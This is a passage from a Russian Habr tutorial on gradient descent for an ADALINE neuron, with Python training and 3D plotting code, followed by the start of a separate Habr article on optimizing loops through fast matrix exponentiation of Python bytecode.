* Посмотрим еще ближе на нижний график производной и средний график с шагом. По горизонтальной оси у них одни и те же значения , а по вертикали масштаб существенно отличается. Из геометрического смысла производной мы помним, что значение производной в данной точке можно использовать как метрику «крутости»/«пологости» исходной кривой. Чем круче кривая, тем мы дальше от минимума, тем дальше в этом месте можем шагать. Чем кривая более пологая, тем мы ближе к минимуму, тем короче нужно делать шаги, «сбавить обороты». Но посмотрите на диапазон значений на вертикальной оси нижнего графика с производной, а потом на диапазон на горизонтальной оси на верхнем графике с функцией: для исходной точки  значение производной получается примерно 200, при том, что расстояние до минимума, судя по графику, в районе 1. Это значит, что значение производной как есть мы в качестве шага брать не можем, но мы можем легко отмасштабировать его так, чтобы оно попадало в нужный нам диапазон. Для этого используем специальный коэффициент — тот самый коэффициент обучения . В нашем случае нужно подобрать его значение так, чтобы значение производной 200 стало меньше 1. Берем , получаем для точки  длину шага 200\*0.001=0.2 (с учетом домножения на -1, точный шаг получается -0.2) — в самый раз.
* Значение ошибки в первой точке , в последней точке через 12 эпох (шагов, итераций) 
* Это не реальный минимум, но мы можем приблизиться к реальному минимуму сколь угодно близко, увеличивая количество эпох
В общем, именно в этом и заключается метод градиентного спуска. С таким уточнением, что здесь мы спустились только по одной координате и попали в локальный минимум на одном срезе. Чтобы попасть в глобальный минимум многомерной функции, мы будем на каждой итерации делать по одному шагу по каждой из координат (или один шаг, но многомерный). Коэффициент обучения  нужно подобрать таким образом, чтобы он обеспечил подходящий масштаб сразу для всех срезов.
*Замечание: возможно, можно представить модификацию алгоритма с разными коэффициентами обучения для каждого из измерений, не скажу сейчас, есть ли в этом реальный практический смысл.*
В принципе, на этом можно было бы и закончить, но давайте разберем и разжуем все совсем до жидкой кашицы, раз уж все равно до сюда добрались.
#### Подбираем темп обучения $\eta$
Подытожим
*  [эта] — коэффициент (темп) обучения
* Влияет на длину шага на каждой эпохе
* Чем меньше шаг, тем выше точность
* Но тем больше эпох требуется для спуска в минимум
* Алгоритм подбора коэффициента «наощупь»: начать с достаточно маленького значения так, чтобы алгоритм сходился, и начать увеличивать до тех пор, пока алгоритм не начнет расходиться
* Это удобнее делать, если построить график сходимости  по эпохам
* Или строго осмысленно: посмотреть на диапазон значений для каждого из измерений  и на значение градиента, подобрать  так, чтобы отмасштабированный градиент попал в масштаб окрестности вблизи минимума 
Возьмем значение 
```
# алгоритм не сходится
eta = 0.01
epochs = 6
```
Здесь еще раз обратите внимание на диапазон значений по вертикальной оси на среднем графике и диапазон на горизонтальной оси наверху. Вертикальные отрезки на среднем графике по длине равны соответствующим горизонтальным отрезкам шагов на верхнем графике, хотя при экранном масштабе это не бросается в глаза. Здесь начинаем движение из точки 3-й справа, дальше перепрыгиваем через минимум в 3-ю слева, потом опять через минимум направо, налево и т.п. Каждый раз забираемся все выше по параболе, т.е. с каждым шагом ошибка возрастает. Это значит, что алгоритм расходится, нужно выбрать [эту] поменьше.
Для выбора коэффициента  удобно построить график сходимости  при разных  по эпохам
```
# спускаемся по градиенту к минимуму J(w0, w1) одновременно по w0 и w1
# норм спуск за 12-14 эпох
eta = 0.001
epochs = 12
# спуск - первая точка
# берем начальные w0 и w1 - можно случайные, но возьмем так,
# чтобы спуститься за 10-15 эпох
# NB: (ответ будет зависеть от знака, а, точнее, от того,
# с какой стороны минимума начнется спуск)
w0_first = -.9
w1_first = -.9
# спуск по точкам по градиенту
w0_epochs = [w0_first]
w1_epochs = [w1_first]
delta_w0_epochs = []
delta_w1_epochs = []
w0_next = w0_first
w1_next = w1_first
for i in range(epochs):
grad_w0 = (w0_next + w1_next*X1 - y).sum()
delta_w0 = -eta*grad_w0
grad_w1 = ((w0_next + w1_next*X1 - y)*X1).sum()
delta_w1 = -eta*grad_w1
w0_next = w0_next + delta_w0
w1_next = w1_next + delta_w1
delta_w0_epochs.append(delta_w0)
delta_w1_epochs.append(delta_w1)
w0_epochs.append(w0_next)
w1_epochs.append(w1_next)
# квадратичные ошибки по эпохам
sse_epochs = []
for i in range(len(w1_epochs)):
sse = sse_(X1, y, w0_epochs[i], w1_epochs[i])
sse_epochs.append(sse)
print('epoch=%d, w0=%f, w1=%f, SSE/2=%f' % (i, w0_epochs[i], w1_epochs[i], sse/2))
sse_epochs = np.array(sse_epochs)
# график - ошибка от эпохи при выбранном η (-эта-)
plt.plot(range(len(sse_epochs)), sse_epochs, label=u'J(w)=SSE/2, η=%s'%eta)
plt.xlabel(u'epoch (η=%s)'%eta)
plt.ylabel(u'J(w)')
plt.legend(loc='upper right')
plt.show()
```
Так сходимся: ошибка падает на каждой эпохе, причем в первые эпохи довольно быстро, дальше падение замедляется. Кстати, здесь уже спускаемся по всем координатам сразу — это реальный многомерный алгоритм, градиентный спуск, уже совсем без оговорок.
Эпох можно взять чуть побольше с запасом:
```
# пятьдесят попыток
eta = 0.001
epochs = 50
```
А вот так расходимся:
```
# алгоритм не сходится
eta = 0.01
epochs = 8
```
Ошибка растет.
#### Подбираем количество эпох
Алгоритм должен успеть спуститься вниз при заданном темпе обучения . Идеальный минимум получить не можем, но можем приблизиться к нему настолько близко, насколько захотим.
Здесь темп ок, эпох маловато.
На практике количество эпох удобнее выбрать одним из двух способов:
* Строго: сравнить ошибку на текущем шаге с ошибкой на предыдущем шаге, остановиться тогда, когда разница будет меньше некоторого заранее заданного значения (уровень точности). Чтобы избежать бесконечного цикла, останавливаться также, если нужная точность не достигнута после максимального количества итераций, или в том случае, если ошибка растет.
* На глаз: по графику сходимости.
Кстати, ответ (конкретное значение ошибки) будет зависеть от исходных значений весов , в том числе от того, с какой стороны минимума начнется спуск. Если, например, первоначальные веса задаются случайно, мы будем каждый раз получать разные значения ошибки через одно и то же количество эпох. Нас интересует не точное значение ошибки, а то, насколько близко к минимуму оно приблизилось.
### Воронка потерь, одеяло потерь
Вернемся к графику функции потерь, понаблюдаем спуск воочию.
Начальная позиция, начинаем спуск:
Первый шаг — движемся в сторону воронки:
Через 12 эпох — глубоко внутри воронки, но не на самом дне:
Через 50 эпох:
Через 1767 эпох — получаем первый раз ошибку меньше, чем поиск по сетке:
Это фактически и было дно, через 62000 эпох результат лучше не сильно:
По шагам:
Шарик неотвратимо скатывается на дно воронки. Кажется, что в этом нет ничего удивительного: вот мы видим шарик, вот видим воронку, совершенно логично шарику катиться по стенкам вниз. Однако, здесь стоит вспомнить, что шарик здесь скатывается по стенке не потому, что нам так захотелось его нарисовать, а потому, что такие шаги подбирает для него наш алгоритм, основанный на математике градиентного спуска. Нам теперь понятно, почему так происходит, но в этом все-таки заключается небольшое математическое волшебство.
И еще, возможно, кто-то сейчас заметил, что на этом графике в процессе скатывания есть что-то не то: на верхней пологой части склона шарик катится очень быстро и достигает воронку за несколько шагов, после чего внутри самой воронки с почти отвесными стенками замедляется на несколько порядков и дно достигает вообще через полторы тысячи шагов, хотя, по идее, на пологой части движение должно быть медленнее, а на крутых склонах — максимально быстрое. Понятно, что у нас здесь никакая не гравитация, но, если мы вспомним геометрический смысл производной и принцип, по которому мы подбирали шаг, то все равно, на крутых склонах шаг должен быть большим, на пологих спусках — все меньше и меньше. В чем же дело?
А просто вспомним, что на этом графике вертикальная шкала у нас логарифмическая. На самом деле поверхность спуска выглядит так:
Короче, поверхность спуска у нас не *воронка*, а *гамак* (или подвешенное за концы *провисшее одеяло*). Для интуитивного понимания геометрического смысла спуска по производной лучше смотреть на этот график: чем круче наклон функции, тем быстрее спуск. Хотя воронка, конечно, живописнее.
### Активация на резиночках
Посмотрим еще на функцию активации. С нее начинали, к ней вернулись.
Начальная позиция. То, что линии ошибок неплохо укоротить, видно невооруженным глазом. Для всех синих точек активация предсказывает неправильный класс, для красных — правильный.
Первый шаг — ошибки потихоньку начинают ужиматься:
К 11-му шагу активация заметно уехала наверх и сменила направление наклона: двум синим точкам теперь назначает правильный класс, но для одной синей точки класс все еще неправильный; правильный класс для красных точек сохранился:
12-й шаг: классы для всех точек назначены правильно, но есть ощущение, что можно лучше:
50-я попытка: лучше, чем 12-я
Шаг 1766: вот линия активации лежит уже довольно красиво. Функция ошибки на этой эпохе  — это все еще больше, чем ошибка, найденная вручную по сетке (там была : разницу видно только в 6-м знаке, причем, если до него не округлять)
Шаг 1767: ошибка  — это лучше, чем ручной результат (разница в 6-м знаке, можно с округлением). Искомые коэффициенты ,  ( заметно отличается от посеточных вариантов в пределах 2-х знаков: , )
Шаг 62000: ошибка  — получше, но совсем не радикально (в 2-х знаках после запятой разницы не видно). По внешнему виду графики почти не отличить:
в динамике:
Как стержень на резиночках. Не удивлюсь, если реальная не слишком тяжелая, но жесткая палочка займет такое же положение, если привязать ее к таким же гвоздикам специальными короткими резиночками или пружинками, которые тянутся только по вертикали.
**Подытожим**
* При  на графике сходимости видно, что алгоритм сходится к 10-12-й эпохе (значение ошибки перестает уменьшаться сильно)
* Но, чтобы получить такую же точность, как при ручном поиске минимума по сетке, с таким же коэффициентом нужно отработать почти две тысячи (1767) эпох
* Еще дальше гонять обучение не имеет смысла — ошибка почти не уменьшилась спустя еще 60 тыс эпох
* Нужна ли такая точность или можно довольствоваться еще меньшим — вопрос задачи
Результат обучения — нашли коэффициенты (при условии, что остановились на эпохе 1767): , .
### Протестируем наш обученный нейрон.
Возьмем объект  с заранее неизвестным классом (будем считать, что  — это объекты тестовой выборки). Но, т.к. он находится между двумя красными точками из обучающей выборки, будем ожидать, что обученный нейрон назначит ему класс , т.е. отнесет его к группе красных точек слева.
взвешенная сумма
активация
квантизатор
Как видим, наши ожидания оправдались.
Попробуем еще один вариант: 
Это точка находилась между двумя синими точками справа и нейрон назначил ей класс , т.е. отнес ее к группе синих точек справа. Наше мнение и мнение нейрона совпало и в этот раз.
Между прочим, мы с вами только что научили искусственный нейрон (так же известный как *мыслящая машина класса «Перцептрон»*) отличать красные точки *слева* от синих точек *справа* и нам потребовалось на это всего *12 попыток*. Как по мне, отличный результат!
Двумерное пространство (m=2)
----------------------------
В общем, градиентный спуск, как алгоритм, мы разобрали. Посмотрим еще на вариант с двумерными объектами. Конечно, уже не так подробно, здесь просто есть еще несколько интересных картинок.
Элементы выборки — точки на плоскости (две координаты). Каждый элемент принадлежит к одному из 2-х классов.
*  (два признака, а не один, как раньше)
*  (как и раньше, классов два)
```
# точки - признаки (два измерения)
X1 = np.array([2, 3, 1, 5, 10, 1, 6, 7, 10, 6, 7])
X2 = np.array([1, 1, 2, 2, 3, 5, 6, 6, 7, 8, 8])
# метки классов - правильные ответы
y = np.array([-1, -1, -1, -1, 1, -1, 1, 1, 1, 1, 1])
```
```
plt.scatter(X1[y == -1], X2[y == -1], s=400, c='red', marker='*', label=u'класс: -1')
plt.scatter(X1[y == 1], X2[y == 1], s=200, c='blue', marker='s', label=u'класс: 1')
# весовые коэффициенты модели
# вручную - более-менее наглядно
w0 = -2.7
w1 = .3
w2 = .4
# разделяющая линия (порог активации) - пересечение плоскости активации и плоскости Ф=0:
# 0=w0+w1*X1+w2*X2
# X2=-(w0+w1*X1)/w2
plt.plot(np.linspace(0,12), -(w0+w1*np.linspace(0,12))/w2, label=u'порог активации')
plt.xlim(0, 11)
plt.ylim(0, 9)
plt.legend(loc='upper left')
plt.xlabel('X1')
plt.ylabel('X2')
plt.show()
```
Здесь могли быть длина и ширина чашелистика ириса, но это просто несколько удобных точек.
### Активация
Видим, что у нас активация — это параметрическая плоскость в трёхмерном пространстве, значит мы не можем нарисовать ее на плоскости, как для 1-мерного случая, нужно переходить в 3-д:
Плоскость активации с проекциями элементов:
Плоскости классов с проекциями элементов:
Ошибка для каждого элемента — расстояние от проекции элемента на плоскость активации до проекции этого же элемента на плоскость истинного класса:
Обратите внимание на линию пересечения плоскости активации (сиреневая) и нулевой плоскости  (матово-белая). Вот она же на двумерном графике с точками элементов:
В статьях, описывающих градиентный спуск или рассказывающих про нейросети, обычно рисуют такую линию и говорят, что вот ее нам нужно построить, конечно, если множество еще *линейно разделимо* (оно линейно разделимо, если группы элементов можно разделить вот такой линией). Это правда, но это не вся правда. На самом деле, как мы только что увидели, нам нужно построить не линию в пространстве m=2, а плоскость в пространстве (m+1)=3: пересечение плоскости активации с нулевой координатой активации и даст нам эту линию, хотя все равно одной линии не достаточно — она разделит элементы на две части, но значения классов назначает не линия, а плоскость — в зависимости от того, выше или ниже нуля оказывается проекция элемента на ней (см квантизатор).
### Ошибка
Красивую воронку функции потерь (стоимости) мы здесь нарисовать уже не можем, т.к., как видим, у нас исходных параметра 3 + значение функции — получается 4 измерения. Кому интересно, попробуйте сделать отдельные 2-д или 3-д срезы или придумать что-нибудь с цветовым кодированием нескольких поверхностей на одном 3д-графике, добавить динамику, или воспользоваться какими-нибудь другим приемом изображения 4-мерных поверхностей в 3-д, если вы такие знаете и если они есть.
И это уже для простейшего случая для элементов с 2-мя признаками. Для элементов с большим количеством признаков у впадины будет еще больше измерений, но в нее все равно получится спуститься по градиенту, как в 1-д и как в 2-д.
### Спуск по градиенту
Градиент
Частные производные (элементы градиента):
Шаги по каждому из измерений:
Спускаемся одновременно по 3-м параметрам (градиент из 3-х измерений), коэффициент обучения , начальные значения небольшие фиксированные , , .
Начальная позиция — плоскость активации, зацепившись уголком за вертикальную ось на краю видимой области, свисает далеко вниз:
Уже на первом шаге стремительно подлетает вверх:
Крышка захлопнулась:
К 3-му шагу линия пересечения активации с нулевой плоскостью элементов уже проходит плюс-минус сквозь группы элементов:
На 4-м шаге она назначает неправильный класс только одному красному элементу:
На 60-м шаге положение еще не поменялось — плоскость активации постепенно доворачивается, но с неправильным классом остался все тот же один красный элемент:
Примерно к 70-му шагу он, наконец, тоже попал в свою группу:
Шаг 200-й — все элементы по своим группам с некоторым запасом:
Шаг 400-й — радикальных изменений уже нет:
В динамике:
Здесь интересно наблюдать, как плоскость активации стремительно подлетает наверх по всем параметрам одновременно, а потом начинает всё медленнее доворачиваться почти только по .
**Код**
Библиотека matplotlib (её расширение mpl\_toolkits.mplot3d.axis3d) [не умеет в пересекающиеся поверхности](https://stackoverflow.com/questions/13932150/matplotlib-wrong-overlapping-when-plotting-two-3d-surfaces-on-the-same-axes) (все приведенные выше графики можно построить, но они будут выглядеть, как плохо читабельная каша в антураже 3д). Поэтому для построения красивых трёхмерных графиков выше мы воспользовались замечательной библиотекой [Mayavi](https://docs.enthought.com/mayavi/mayavi/).
```
import numpy
from mayavi import mlab
# не показывать окно - для режима mlab.savefig
#mlab.options.offscreen = True
# здесь нужен size для нормальной работы mlab.savefig
fig = mlab.figure(fgcolor=(10./256., 10./256., 10./256.),
bgcolor=(255./256., 255./256., 255./256.), size=(1650, 950))
X1_ = range(0, 12)
X2_ = range(0, 12)
XX1_, XX2_ = np.mgrid[X1_, X2_]
# Палитра из Блендера
# оранжевый: color=(255./256., 191./256., 71./256.)
# бордовый: color=(171./256., 0./256., 130./256.)
# красный: color=(255./256., 101./256., 107./256.)
# розовый: color=(252./256., 79./256., 245./256.)
# голубой: color=(84./256., 148./256., 247./256.)
# фиолетовый: color=(45./256., 0./256., 82./256.)
# желтый: color=(254./256., 255./256., 87./256.)
# Яркие
# красный: color=(.7, .1, .1)
# синий: color=(.1, .1, .7)
# горизонтальные плоскости меток: Ф=1 (y=1), Ф=-1 (y=-1) и нулевая плоскость Ф=0
mlab.surf(XX1_, XX2_, np.full((12, 12), -1),
color=(255./256., 101./256., 107./256.), opacity=0.6)
mlab.surf(XX1_, XX2_, np.full((12, 12), 1),
color=(84./256., 148./256., 247./256.), opacity=0.5)
mlab.surf(XX1_, XX2_, np.full((12, 12), 0),
color=(247./256., 243./256., 246./256.), opacity=0.5)
# точки на нулевой плоскости
# (их тоже нужно нарисовать, т.к. искомая плоскость должна разделить именно их, а не
# их проекции на плоскостях меток: мы работаем в 2-мерном пространстве, 3е измерение -
# измерение функции активации, включаещее метки классов)
mlab.points3d(X1[y == -1], X2[y == -1], np.full(X1[y == -1].size, 0),
color=(.7, .1, .1), mode='sphere', scale_factor=.2)
mlab.points3d(X1[y == 1], X2[y == 1], np.full(X1[y == 1].size, 0),
color=(.1, .1, .7), mode='cube', scale_factor=.2)
# точки на плоскостях меток
mlab.points3d(X1[y == -1], X2[y == -1], np.full(X1[y == -1].size, -1),
color=(171./256., 0./256., 130./256.), mode='2dcircle', scale_factor=.2)
mlab.points3d(X1[y == 1], X2[y == 1], np.full(X1[y == 1].size, 1),
color=(45./256., 0./256., 82./256.), mode='2dsquare', scale_factor=.2)
# весовые коэффициенты модели
# Спуск по градиенту по эпохам
# ...
epoch=12
w0=-0.762718
w1=0.165023
w2=0.040271
sse=3.598883
# активация - разделяющая плоскость y=w0+w1*X1+w2*X2
yy_ = w0 + w1*XX1_ + w2*XX2_
actsurf = mlab.surf(XX1_, XX2_, yy_, color=(252./256., 79./256., 245./256.), opacity = 0.6)
# проекции обучающих точек на плоскость активации
y_ = w0 + w1*X1 + w2*X2
mlab.points3d(X1[y==-1], X2[y==-1], y_[y==-1],
color=(171./256., 0./256., 130./256.), mode='sphere', scale_factor=.2)
mlab.points3d(X1[y==1], X2[y==1], y_[y==1],
color=(45./256., 0./256., 82./256.), mode='cube', scale_factor=.2)
# линии ошибок - расстояния от точек на плоскости активации
# до горизонтальных плоскостей меток классов
for i in range(len(X1[y==-1])):
mlab.plot3d(
[X1[y==-1][i], X1[y==-1][i]],
[X2[y==-1][i], X2[y==-1][i]],
[y[y==-1][i], y_[y==-1][i]],
color=(255./256., 191./256., 71./256.))
for i in range(len(X1[y==1])):
mlab.plot3d(
[X1[y==1][i], X1[y==1][i]],
[X2[y==1][i], X2[y==1][i]],
[y[y==1][i], y_[y==1][i]],
color=(255./256., 191./256., 71./256.))
# область видимости - на нее будем насаживать оси координат
# (координатам обязательно нужен объект на рабочем поле)
zmin=-2.
zmax=2.
vis_area = mlab.points3d(
[np.min(X1_), np.max(X1_)],
[np.min(X2_), np.max(X2_)],
[zmin, zmax],
mode='point')
# установить камеру с центром вращения в геометрическом центре графика
mlab.view(
focalpoint=((np.max(X1_)-np.min(X1_))/2, (np.max(X2_)-np.min(X2_))/2, (zmax-zmin)/2),
distance=25, azimuth=-50, elevation=75)
mlab.move((0,0,10))
# без этого у пересекающихся поверхностей не будет видно линий пересечений
fig.scene.renderer.use_depth_peeling = 1
# оси
mlab.outline(vis_area, color=(.7, .7, .7))
# здесь пять меток, чтобы было аккуратно на вертикальной оси: -2, -1, 0, 1, 2
axes = mlab.axes(vis_area, nb_labels=5, color=(.7, .7, .7),
ranges=[np.min(X1_), np.max(X1_), np.min(X2_), np.max(X2_), zmin, zmax],
#xlabel=u'X1', ylabel=u'X2', zlabel=u'Ф(SUM) - активация')
xlabel=u'X1', ylabel=u'X2', zlabel=u'Phi') # юникод здесь тоже не работает
#from pprint import pprint
#pprint(vars(axes))
axes._label_text_property.bold = False
axes._label_text_property.italic = False
axes._title_text_property.bold = True
axes._title_text_property.italic = False
# свойство есть, но оно не работает
#axes._title_text_property.font_size = 34
# размер шрифтов для шкалы и меток осей регулируем так:
axes.axes.font_factor = .7
# заголовок раскосопиздит при масштабировании с параметром size в mlab.figure,
# если не задать ему здесь вручную размер
title = mlab.title("epoch=" + str(epoch))
title.actor.text_scale_mode='none'
title.property.justification='right'
title.property.font_size=48
legend = mlab.text(.6, .8, 'w0=%0.2f, w1=%0.2f, w2=%0.2f, sse/2=%0.6f'%(w0, w1, w2, sse/2))
legend.actor.text_scale_mode='none'
legend.property.font_size=18
# показать окно
mlab.show()
# сохранить в файл
#mlab.savefig("epoch" + str(epoch) + ".png")
# для вызова в цикле: дадим файлу сохраниться перед тем, как очищать ресурсы
# (так делать не очень красиво, правильнее, конечно, не убивать,
# а очищать рабочую область, но здесь ок и так)
#mlab.clf()
#mlab.close()
# вращение вокруг центра - посмотреть активацию со всех сторон
'''
fpoint = ( (np.max(X1_)-np.min(X1_))/2, (np.max(X2_)-np.min(X2_))/2, (zmax-zmin)/2 )
for i in range (0, 360, 2):
mlab.view(focalpoint=fpoint, distance=25, elevation=75,
azimuth=i)
mlab.move((0,0,10))
mlab.savefig("act-2d-azimuth" + str(i) + ".png")
'''
```
Тот факт, что Mayavi является *глючной инопланетянской поделкой*, нисколько не отменяет заложенный в неё потенциал *нереальной мощщи*. Часы и нервы, потраченные во время её первичной установки, а потом освоения, в конечном итоге стоят того.
Mayavi, в отличие от Matplotlib/axes3d, использует на 3д-сцене полноценный OpenGL. Однако, он будет работать нормально (рисовать пересекающиеся плоскости) только в том случае, если использовать с ним бэкэнд для рендера на основе Qt. По умолчанию этот бэкэнд вместе с mayavi не устанавливается и не включается. Я установил через pip пакеты PyQt5 и python-qt (возможно, еще какие-то пакеты, содержащие в имени строку 'qt'). Честно, не знаю, какой из них сработал, но в конечном итоге у меня получилось успешно запустить скрипт, корректно рисующий пересекающиеся плоскости, вот так:
```
env QT_API=pyqt python3 gradient-2d.py
```
### Сходимость по эпохам — график спуска стоимости $J(w)$ вниз по шагам
```
def sse_(X1, X2, y, w0, w1, w2):
return ((w0+w1*X1+w2*X2 - y)**2).sum()
# спускаемся по градиенту к минимуму J(w0, w1, w2)
# одновременно по w0, w1 и w2
# норм спуск
eta = 0.001
# у всех точек правильные классы (впритык)
epochs = 70
w0_first = -.9
w1_first = -.9
w2_first = -.9
# спуск по точкам по градиенту
w0_epochs = [w0_first]
w1_epochs = [w1_first]
w2_epochs = [w2_first]
delta_w0_epochs = []
delta_w1_epochs = []
delta_w2_epochs = []
w0_next = w0_first
w1_next = w1_first
w2_next = w2_first
for i in range(epochs):
grad_w0 = (w0_next + w1_next*X1 + w2_next*X2 - y).sum()
delta_w0 = -eta*grad_w0
grad_w1 = ((w0_next + w1_next*X1 + w2_next*X2 - y)*X1).sum()
delta_w1 = -eta*grad_w1
grad_w2 = ((w0_next + w1_next*X1 + w2_next*X2 - y)*X2).sum()
delta_w2 = -eta*grad_w2
w0_next = w0_next + delta_w0
w1_next = w1_next + delta_w1
w2_next = w2_next + delta_w2
delta_w0_epochs.append(delta_w0)
delta_w1_epochs.append(delta_w1)
delta_w2_epochs.append(delta_w2)
w0_epochs.append(w0_next)
w1_epochs.append(w1_next)
w2_epochs.append(w2_next)
# квадратичные ошибки по эпохам
sse_epochs = []
for i in range(len(w1_epochs)):
sse = sse_(X1, X2, y, w0_epochs[i], w1_epochs[i], w2_epochs[i])
sse_epochs.append(sse)
#print('epoch=%d, w0=%f, w1=%f, w2=%f, SSE=%f, SSE/2=%f' %
# (i, w0_epochs[i], w1_epochs[i], w2_epochs[i], sse, sse/2))
sse_epochs = np.array(sse_epochs)
# график - ошибка от эпохи при выбранном η (-эта-)
plt.plot(range(len(sse_epochs)), sse_epochs, label=u'J(w)=SSE/2, η=%s'%eta)
plt.xlabel(u'epoch (η=%s)'%eta)
plt.ylabel(u'J(w)')
plt.legend(loc='upper right')
plt.show()
```
12 эпох:
70 эпох:
Здесь отметим, что из этих графиков уже не очень понятно, в какой момент нужно останавливаться: ошибка радикально падает уже к 6-12-й эпохе, а полностью корректная классификация всех точек обучающей выборки наступает только в районе 70-го шага — почему стоит остановиться именно на 70-м шаге, а не на 30-м, 40-м или 200-м, этот график, по крайней мере, в представленном виде, ответ не дает.
Заключение
----------
Архитектура ADALINE (adaptive linear neuron — адаптивный линейный нейрон) — искусственный нейрон с линейной функцией активации на текущий момент считается устаревшей. Разработчики библиотеки scikit-learn [не хотят включать алгоритм ADALINE](https://scikit-learn-general.narkive.com/jGuqc0R9/adaline-adaptive-linear-neuron-classifier) ([вариант в веб-архиве](https://web.archive.org/web/20170808110903/https://scikit-learn-general.narkive.com/jGuqc0R9/adaline-adaptive-linear-neuron-classifier) для тех, у кого роскомнадзор) в свою библиотеку, ссылаясь на то, что они предпочитают не тратить время и силы на поддержку ретро-алгоритмов «из 80-х» (ADALINE из 60-х), которые для решения современных практических задач больше никому не нужны.
Автор замечательной книги «Python и машинное обучение» Себастьян Рашка (он же начал приведенное выше обсуждение в рассылке разработчиков scikit-learn) приводит свою реализацию алгоритма в бумажной книге, [онлайн-версии книги](https://rasbt.github.io/mlxtend/user_guide/classifier/Adaline/) и [на гитхабе](https://github.com/rasbt/mlxtend/blob/master/mlxtend/classifier/adaline.py) в образовательных целях и в качестве музейного экспоната.
Но мы с вами провели всё это время с нейроном ADALINE не зря.
Во-первых, линейная активация — отличная подопытная функция для изучения алгоритма градиентного спуска, который используется и с другими вариантами активаций: устарела *конкретная комбинация* нейрона и линейной активации, но сам нейрон и метод его обучения градиентным спуском, тем более, сам алгоритм градиентного спуска никак не устарел.
Во-вторых, если мы отрежем от нашего нейрона порог (квантизатор) так, что на выходе будет не двоичная метка класса, а значение активации на *непрерывной шкале*, мы вместо нейрона получим алгоритм построения *линейной регрессии* в чистом виде (значение активации будет значением *целевой переменной*, да, в качестве истинных значений  тоже вместо меток взять непрерывные значения) — это вполне себе актуальный метод машинного обучения, реализация которого присутствует в том числе в библиотеке scikit-learn.
*P.S. У меня так сходу не получилось проследить, чем отличается нейрон ADALINE от перцептрона Розенблатта с линейной функцией активации и отличаются ли они вообще. Перцептрон Розенблатта по времени появился раньше, архитектурно, судя по описанию, они идентичны, но в статьях про ADALINE почему-то не ссылаются на Розенблатта, а ссылаются на других людей. Поэтому здесь я осторожно предполагаю, что ADALINE можно считать специальным названием для единичного перцептрона Розенблатта с линейной функцией активации. Возможно, кто-то в комментариях сможет этот момент прояснить.* | https://habr.com/ru/post/467185/ | null | ru | null |
# Автоматическая оптимизация алгоритмов с помощью быстрого возведения матриц в степень
Пусть мы хотим вычислить десятимиллионное [число Фибоначчи](https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%B0_%D0%A4%D0%B8%D0%B1%D0%BE%D0%BD%D0%B0%D1%87%D1%87%D0%B8) программой на Python. Функция, использующая тривиальный алгоритм, на моём компьютере будет производить вычисления более 25 минут. Но если применить к функции специальный оптимизирующий декоратор, функция вычислит ответ всего за 18 секунд (*в 85 раз быстрее*):
Дело в том, что перед выполнением программы интерпретатор Python компилирует все её части в специальный байт-код. Используя метод, описанный хабрапользователем [SkidanovAlex](https://habrahabr.ru/users/skidanovalex/), данный декоратор анализирует получившийся байт-код функции и пытается оптимизировать применяющийся там алгоритм. Далее вы увидите, что эта оптимизация может ускорять программу не в определённое количество раз, а асимптотически. Так, чем больше будет количество итераций в цикле, тем в большее количество раз ускорится оптимизированная функция по сравнению с исходной.
Эта статья расскажет о том, в каких случаях и каким образом декоратору удаётся делать подобные оптимизации. Также вы сможете сами скачать и протестировать библиотеку *cpmoptimize*, содержащую данный декоратор.
### Теория
Два года назад [SkidanovAlex](https://habrahabr.ru/users/skidanovalex/) опубликовал интересную статью с описанием интерпретатора ограниченного языка, который поддерживает следующие операции:
```
# Присвоить переменной другую переменную или константу
x = y
x = 1
# Сложить или вычесть из переменной другую переменную или константу
x += y
x += 2
x -= y
x -= 3
# Умножить переменную на константу
x *= 4
# Запустить цикл с константным числом итераций
loop 100000
...
end
```
Значения переменных в языке должны быть числами, их размер не ограничен (поддерживается [длинная арифметика](https://ru.wikipedia.org/wiki/%D0%94%D0%BB%D0%B8%D0%BD%D0%BD%D0%B0%D1%8F_%D0%B0%D1%80%D0%B8%D1%84%D0%BC%D0%B5%D1%82%D0%B8%D0%BA%D0%B0)). На самом деле переменные хранятся как целые числа в Python, который переключается в режим длинной арифметики, если число выходит за границы аппаратно поддерживаемого четырёх- или восьмибайтового типа.
Рассмотрим случай, когда длинная арифметика не используется. Тогда время выполнения операций не будет зависеть от значений переменных, а значит в цикле все итерации будут выполняться за одинаковое время. Если выполнять такой код «в лоб», как в обычных интерпретаторах, цикл выполнится за время , где *n* — количество итераций. Другими словами, если код для *n* итераций работает за время *t*, то код для  итераций будет работать за время  (см. [сложность вычислений](http://en.wikipedia.org/wiki/Time_complexity)).
Интерпретатор из [оригинальной статьи](http://habrahabr.ru/post/148901/) представляет каждую поддерживаемую языком операцию с переменными в виде определённой матрицы, на которую умножается вектор с исходными значениями переменных. В результате умножения мы получаем вектор с новыми значениями переменных:
Таким образом, для выполнения последовательности операций нужно по очереди домножать вектор на матрицу, соответствующую очередной операции. Другой способ — пользуясь ассоциативностью, матрицы можно сперва умножить друг на друга, а потом умножить исходный вектор на получившееся произведение:
Для выполнения цикла мы должны вычислить число *n* — количество итераций в цикле, а также матрицу *B* — последовательное произведение матриц, соответствующих операциям из тела цикла. Затем нужно *n* раз умножить исходный вектор на матрицу *B*. Другой способ — можно сначала возвести матрицу *B* в степень *n*, а потом умножить вектор с переменными на результат:
Если при этом использовать алгоритм [бинарного возведения в степень](http://e-maxx.ru/algo/binary_pow), цикл можно будет выполнить за значительно меньшее время . Так, если код для *n* итераций работает за время *t*, то код для  итераций будет работать за время  (всего лишь в два раза медленнее, а не в *n* раз медленнее, как в предыдущем случае).
В итоге, как и было написано выше, чем больше будет количество итераций в цикле *n*, тем в большее количество раз ускоряется оптимизированная функция. Поэтому эффект от оптимизации будет особенно хорошо заметен для больших *n*.
Если длинная арифметика всё-таки используется, оценки времени выше могут быть неверны. Например, при вычислении *n*-го числа Фибоначчи значения переменных из итерации в итерацию становятся всё больше, и операции с ними замедляются. Асимптотическую оценку времени работы программы в таком случае сделать сложнее (нужно учитывать длину чисел в переменных на каждой итерации и используемые методы перемножения чисел) и здесь она приведена не будет. Тем не менее, после применения данного метода оптимизации асимптотика улучшается даже в таком случае. Это хорошо заметно на графике:
### Идея
